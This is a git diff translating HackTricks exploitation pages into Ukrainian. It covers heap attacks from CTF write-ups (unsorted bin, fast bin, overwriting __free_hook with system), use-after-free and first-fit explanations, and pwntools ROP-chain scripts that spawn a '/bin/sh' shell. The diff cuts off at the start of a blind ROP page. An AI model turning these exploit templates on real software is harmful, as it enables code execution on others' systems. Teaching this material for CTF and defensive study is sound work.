- Атака починається зі створення 3 частин: chunk0 для зловживання переповненням, chunk1 для переповнення і chunk2, щоб верхня частина не консолідувала попередні.
- Потім chunk1 звільняється, і chunk0 переповнюється, щоб вказівник `bk` частини 1 вказував на: `bk = magic - 0x10`
- Потім chunk3 алокуються з таким же розміром, як chunk1, що викликає атаку unsorted bin і змінює значення глобальної змінної, що дозволяє отримати прапор.
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
- Now a **fast bin attack** is performed:
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Another example of abusing a 1B overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
- Функція злиття вразлива, оскільки якщо обидва передані індекси однакові, вона перерозподілить на ньому, а потім звільнить його, але повертаючи вказівник на цю звільнену область, яку можна використовувати.
- Отже, **створюються 2 частини**: **chunk0**, яка буде злитою сама з собою, і chunk1, щоб запобігти консолідації з верхньою частиною. Потім **функція злиття викликається з chunk0** двічі, що викличе використання після звільнення.
- Потім **функція `view`** викликається з індексом 2 (який є індексом частини, що використовується після звільнення), що **викликає витік адреси libc**.
- Оскільки бінарний файл має захисти, щоб лише malloc розміри більші за **`global_max_fast`**, тому жоден fastbin не використовується, буде використана атака unsorted bin для перезапису глобальної змінної `global_max_fast`.
- Потім можна викликати функцію редагування з індексом 2 (вказівник, що використовується після звільнення) і перезаписати вказівник `bk`, щоб вказувати на `p64(global_max_fast-0x10)`. Потім, створення нової частини використає раніше скомпрометовану адресу (0x20), що **викличе атаку unsorted bin**, перезаписуючи `global_max_fast`, що є дуже великим значенням, що дозволяє тепер створювати частини в fast bins.
- Тепер виконується **атака fast bin**:
- Перш за все, виявлено, що можна працювати з fast **частинами розміру 200** в місці **`__free_hook`**:
- <pre class="language-c"><code class="lang-c">gef➤ p &#x26;__free_hook
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 &#x3C;__free_hook>
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6076f &#x3C;list_all_lock+15>: 0x0000000000000000 0x0000000000000000
0x7ff1e9e6077f &#x3C;_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
</code></pre>
- Якщо нам вдасться отримати fast chunk розміру 0x200 в цьому місці, буде можливим перезаписати вказівник функції, яка буде виконана.
- Для цього створюється нова частина розміру `0xfc`, і функція злиття викликається з цим вказівником двічі, таким чином ми отримуємо вказівник на звільнену частину розміру `0xfc*2 = 0x1f8` у fast bin.
- Потім функція редагування викликається в цій частині, щоб змінити адресу **`fd`** цього fast bin, щоб вказувати на попередню функцію **`__free_hook`**.
- Потім створюється частина розміру `0x1f8`, щоб отримати з fast bin попередню непотрібну частину, тому створюється ще одна частина розміру `0x1f8`, щоб отримати fast bin chunk у **`__free_hook`**, який перезаписується адресою функції **`system`**.
- І нарешті, частина, що містить рядок `/bin/sh\x00`, звільняється, викликаючи функцію видалення, що викликає функцію **`__free_hook`**, яка вказує на system з `/bin/sh\x00` як параметром.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
- Ще один приклад зловживання переповненням на 1B для консолідації частин в unsorted bin і отримання витоку інформації libc, а потім виконання атаки fast bin для перезапису malloc hook з адресою одного гаджета.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
- Ми можемо алокувати лише частини розміру більше `0x100`.
- Перезаписати `global_max_fast`, використовуючи атаку Unsorted Bin (працює 1/16 разів через ASLR, оскільки нам потрібно модифікувати 12 біт, але ми повинні модифікувати 16 біт).
- Атака Fast Bin для модифікації глобального масиву частин. Це дає примітив довільного читання/запису, що дозволяє модифікувати GOT і встановлювати деякі функції, щоб вказувати на `system`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Use After Free
# Використання після звільнення
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**.
Як випливає з назви, ця вразливість виникає, коли програма **зберігає деякий простір** в купі для об'єкта, **записує** туди деяку інформацію, **звільняє** її, очевидно, тому що вона більше не потрібна, а потім **знову отримує до неї доступ**.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it).
Проблема в тому, що це не є незаконним (не **буде помилок**), коли **доступається звільнена пам'ять**. Отже, якщо програма (або зловмисник) змогла **виділити звільнену пам'ять і зберегти довільні дані**, коли звільнена пам'ять доступна з початкового вказівника, **ці дані могли бути перезаписані**, що викликало **вразливість, яка залежатиме від чутливості даних**, які були збережені спочатку (якщо це був вказівник на функцію, яка повинна була бути викликана, зловмисник міг би контролювати її).
### First Fit attack
### Атака першого підходу
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\
Check more info in:
Атака першого підходу націлена на те, як деякі аллокатори пам'яті, такі як у glibc, управляють звільненою пам'яттю. Коли ви звільняєте блок пам'яті, він додається до списку, а нові запити на пам'ять беруться з цього списку з кінця. Зловмисники можуть використовувати цю поведінку, щоб маніпулювати **які блоки пам'яті повторно використовуються, потенційно отримуючи контроль над ними**. Це може призвести до проблем "використання після звільнення", коли зловмисник може **змінити вміст пам'яті, яка повторно виділяється**, створюючи ризик безпеки.\
Дивіться більше інформації в:
{{#ref}}
first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins.
Коли ви звільняєте пам'ять у програмі, використовуючи glibc, різні "контейнери" використовуються для управління шматками пам'яті. Ось спрощене пояснення двох поширених сценаріїв: несортовані контейнери та швидкі контейнери.
### Unsorted Bins
### Несортовані Контейнери
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin.
Коли ви звільняєте шматок пам'яті, який не є швидким шматком, він потрапляє до несортованого контейнера. Цей контейнер діє як список, де нові звільнені шматки додаються на початок (на "голову"). Коли ви запитуєте новий шматок пам'яті, аллокатор дивиться на несортований контейнер ззаду (на "хвіст"), щоб знайти шматок, який достатньо великий. Якщо шматок з несортованого контейнера більший, ніж вам потрібно, він розділяється, причому передня частина повертається, а залишкова частина залишається в контейнері.
Example:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
Приклад:
- Ви виділяєте 300 байт (`a`), потім 250 байт (`b`), звільняєте `a` і знову запитуєте 250 байт (`c`).
- Коли ви звільняєте `a`, він потрапляє до несортованого контейнера.
- Якщо ви потім знову запитуєте 250 байт, аллокатор знаходить `a` на хвості і розділяє його, повертаючи частину, яка відповідає вашому запиту, і залишаючи решту в контейнері.
- `c` буде вказувати на попереднє `a` і заповнене `a's`.
```c
char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);
```
### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head.
Fastbins використовуються для малих шматків пам'яті. На відміну від несортованих бінів, fastbins додають нові шматки на початок, створюючи поведінку останній прийшов - перший вийшов (LIFO). Якщо ви запитуєте малий шматок пам'яті, аллокатор витягне з голови fastbin.
Example:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
Приклад:
- Ви виділяєте чотири шматки по 20 байт кожен (`a`, `b`, `c`, `d`).
- Коли ви звільняєте їх в будь-якому порядку, звільнені шматки додаються до голови fastbin.
- Якщо ви потім запитуєте шматок на 20 байт, аллокатор поверне найостанніший звільнений шматок з голови fastbin.
```c
char *a = malloc(20);
char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b
d = malloc(20); // a
```
## Other References & Examples
## Інші посилання та приклади
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check**
- ARM64. Використання після звільнення: створити об'єкт користувача, звільнити його, створити об'єкт, який отримує звільнений шматок і дозволяє записувати в нього, **перезаписуючи позицію user->password** з попереднього. Повторно використати користувача, щоб **обійти перевірку пароля**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer.
- Програма дозволяє створювати нотатки. Нотатка міститиме інформацію про нотатку в malloc(8) (з вказівником на функцію, яку можна викликати) і вказівник на інший malloc(\<size>) з вмістом нотатки.
- Атака полягатиме в створенні 2 нотаток (note0 і note1) з більшим вмістом malloc, ніж розмір інформації про нотатку, а потім звільнити їх, щоб вони потрапили в швидкий бін (або tcache).
- Потім створити ще одну нотатку (note2) з розміром вмісту 8. Вміст буде в note1, оскільки шматок буде повторно використано, де ми можемо змінити вказівник функції, щоб вказувати на функцію win, а потім використати Use-After-Free для note1, щоб викликати новий вказівник функції.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag.
- Можливо виділити пам'ять, записати бажане значення, звільнити його, повторно виділити, і оскільки попередні дані все ще там, їх оброблять відповідно до нової очікуваної структури в шматку, що робить можливим встановлення значення або отримання прапора.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it.
- У цьому випадку потрібно записати 4 всередині конкретного шматка, який є першим, що виділяється (навіть після примусового звільнення всіх з них). У кожному новому виділеному шматку його номер у масиві зберігається. Потім виділити 4 шматки (+ початково виділений), останній буде містити 4 всередині, звільнити їх і примусово повторно виділити перший, який використовуватиме останній звільнений шматок, що містить 4 всередині.

View File

@ -2,45 +2,44 @@
{{#include ../../banners/hacktricks-training.md}}
## **Basic Information**
## **Основна інформація**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections.
**Return-Oriented Programming (ROP)** - це просунута техніка експлуатації, що використовується для обходу заходів безпеки, таких як **No-Execute (NX)** або **Data Execution Prevention (DEP)**. Замість того, щоб інжектувати та виконувати shellcode, зловмисник використовує фрагменти коду, які вже присутні в бінарному файлі або в завантажених бібліотеках, відомі як **"gadgets"**. Кожен gadget зазвичай закінчується інструкцією `ret` і виконує невелику операцію, таку як переміщення даних між реєстрами або виконання арифметичних операцій. Поєднуючи ці gadgets, зловмисник може створити payload для виконання довільних операцій, ефективно обходячи захисти NX/DEP.
### How ROP Works
### Як працює ROP
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets.
1. **Перехоплення потоку управління**: Спочатку зловмисник повинен перехопити потік управління програми, зазвичай експлуатуючи переповнення буфера для перезапису збереженої адреси повернення в стеку.
2. **Поєднання gadgets**: Потім зловмисник обережно вибирає та поєднує gadgets для виконання бажаних дій. Це може включати налаштування аргументів для виклику функції, виклик функції (наприклад, `system("/bin/sh")`) та обробку будь-яких необхідних очищень або додаткових операцій.
3. **Виконання payload**: Коли вразлива функція повертається, замість повернення до легітимного місця, вона починає виконувати ланцюг gadgets.
### Tools
### Інструменти
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
Зазвичай gadgets можна знайти за допомогою [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) або безпосередньо з **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in x86 Example
## Приклад ROP Chain в x86
### **x86 (32-bit) Calling conventions**
### **x86 (32-біт) Конвенції виклику**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack.
- **cdecl**: Викликач очищає стек. Аргументи функції поміщаються в стек у зворотному порядку (з правого на ліве). **Аргументи поміщаються в стек з правого на ліве.**
- **stdcall**: Схоже на cdecl, але викликана функція відповідає за очищення стека.
### **Finding Gadgets**
### **Знаходження gadgets**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are:
Спочатку припустимо, що ми визначили необхідні gadgets у бінарному файлі або його завантажених бібліотеках. Gadgets, які нас цікавлять:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**.
- Additionally, we have the address of the `system()` function available.
- `pop eax; ret`: Цей gadget витягує верхнє значення стека в регістр `EAX` і потім повертається, дозволяючи нам контролювати `EAX`.
- `pop ebx; ret`: Схоже на попередній, але для регістра `EBX`, що дозволяє контролювати `EBX`.
- `mov [ebx], eax; ret`: Переміщує значення в `EAX` у пам'ятеву адресу, на яку вказує `EBX`, і потім повертається. Це часто називається **write-what-where gadget**.
- Крім того, у нас є адреса функції `system()`.
### **ROP Chain**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
Використовуючи **pwntools**, ми готуємо стек для виконання ROP chain наступним чином, намагаючись виконати `system('/bin/sh')`, зверніть увагу, як ланцюг починається з:
1. Інструкції `ret` для вирівнювання (необов'язково)
2. Адреси функції `system` (припускаючи, що ASLR вимкнено і libc відома, більше інформації в [**Ret2lib**](ret2lib/))
3. Заповнювач для адреси повернення з `system()`
4. Адреса рядка `"/bin/sh"` (параметр для функції system)
```python
from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
## ROP Chain в x64 Приклад
## ROP Chain in x64 Example
### **x64 (64-біт) Виклик конвенцій**
### **x64 (64-bit) Calling conventions**
- Використовує конвенцію виклику **System V AMD64 ABI** на системах, подібних до Unix, де **перші шість цілочисельних або вказівних аргументів передаються в регістри `RDI`, `RSI`, `RDX`, `RCX`, `R8` та `R9`**. Додаткові аргументи передаються на стек. Значення повернення розміщується в `RAX`.
- Конвенція виклику **Windows x64** використовує `RCX`, `RDX`, `R8` та `R9` для перших чотирьох цілочисельних або вказівних аргументів, з додатковими аргументами, що передаються на стек. Значення повернення розміщується в `RAX`.
- **Регістри**: 64-бітні регістри включають `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` та `R8` до `R15`.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`.
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Знаходження Гаджетів**
#### **Finding Gadgets**
Для наших цілей зосередимося на гаджетах, які дозволять нам встановити регістр **RDI** (щоб передати рядок **"/bin/sh"** як аргумент для **system()**) і потім викликати функцію **system()**. Ми припустимо, що ми визначили наступні гаджети:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets:
- **pop rdi; ret**: Витягує верхнє значення зі стека в **RDI** і потім повертається. Важливо для встановлення нашого аргументу для **system()**.
- **ret**: Просте повернення, корисне для вирівнювання стека в деяких сценаріях.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
And we know the address of the **system()** function.
І ми знаємо адресу функції **system()**.
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
Нижче наведено приклад використання **pwntools** для налаштування та виконання ROP ланцюга, що має на меті виконати **system('/bin/sh')** на **x64**:
```python
from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
```
У цьому прикладі:
In this example:
- Ми використовуємо гаджет **`pop rdi; ret`** для встановлення **`RDI`** на адресу **`"/bin/sh"`**.
- Ми безпосередньо переходимо до **`system()`** після встановлення **`RDI`**, з адресою **system()** в ланцюгу.
- **`ret_gadget`** використовується для вирівнювання, якщо цільове середовище цього вимагає, що є більш поширеним у **x64** для забезпечення правильного вирівнювання стеку перед викликом функцій.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**.
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Вирівнювання стеку
### Stack Alignment
**x86-64 ABI** забезпечує, щоб **стек був вирівняний на 16 байт** під час виконання **інструкції виклику**. **LIBC**, для оптимізації продуктивності, **використовує інструкції SSE** (такі як **movaps**), які вимагають цього вирівнювання. Якщо стек не вирівняний належним чином (означає, що **RSP** не є кратним 16), виклики функцій, таких як **system**, зазнають невдачі в **ROP ланцюзі**. Щоб виправити це, просто додайте **ret gadget** перед викликом **system** у вашому ROP ланцюзі.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain.
## x86 vs x64 main difference
## Основна різниця між x86 та x64
> [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
> Оскільки **x64 використовує регістри для перших кількох аргументів,** це часто вимагає менше гаджетів, ніж x86 для простих викликів функцій, але знаходження та з'єднання правильних гаджетів може бути більш складним через збільшену кількість регістрів і більший адресний простір. Збільшена кількість регістрів і більший адресний простір в архітектурі **x64** надають як можливості, так і виклики для розробки експлойтів, особливо в контексті Return-Oriented Programming (ROP).
## ROP chain in ARM64 Example
## Приклад ROP ланцюга в ARM64
### **ARM64 Basics & Calling conventions**
### **Основи ARM64 та викликові конвенції**
Check the following page for this information:
Перевірте наступну сторінку для цієї інформації:
{{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Protections Against ROP
## Захист від ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Ці захисти ускладнюють використання ROP, оскільки адреси гаджетів змінюються між виконаннями.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): У випадку BOF, потрібно обійти зберігання canary стеку, щоб перезаписати вказівники повернення для зловживання ROP ланцюгом.
- **Брак гаджетів**: Якщо недостатньо гаджетів, не буде можливості згенерувати ROP ланцюг.
## ROP based techniques
## Техніки на основі ROP
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed:
Зверніть увагу, що ROP - це лише техніка для виконання довільного коду. На основі ROP було розроблено багато технік Ret2XXX:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`.
- **Ret2lib**: Використовуйте ROP для виклику довільних функцій з завантаженої бібліотеки з довільними параметрами (зазвичай щось на зразок `system('/bin/sh')`.
{{#ref}}
ret2lib/
{{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands.
- **Ret2Syscall**: Використовуйте ROP для підготовки виклику до системного виклику, наприклад, `execve`, і змусьте його виконати довільні команди.
{{#ref}}
rop-syscall-execv/
{{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP).
- **EBP2Ret & EBP Chaining**: Перший буде зловживати EBP замість EIP для контролю потоку, а другий подібний до Ret2lib, але в цьому випадку потік контролюється в основному адресами EBP (хоча також потрібно контролювати EIP).
{{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}}
## Other Examples & References
## Інші приклади та посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag
- 64 біт, Pie та nx увімкнено, без canary, перезаписати RIP з адресою `vsyscall` з єдиною метою повернення до наступної адреси в стеку, яка буде частковим перезаписом адреси для отримання частини функції, яка витікає з прапора.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack
- arm64, без ASLR, ROP гаджет для виконання стеку та переходу до shellcode в стеку.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,123 +2,123 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\
This attack is based on the following scenario:
Мета цієї атаки полягає в тому, щоб **зловживати ROP через переповнення буфера без будь-якої інформації про вразливий бінарний файл**.\
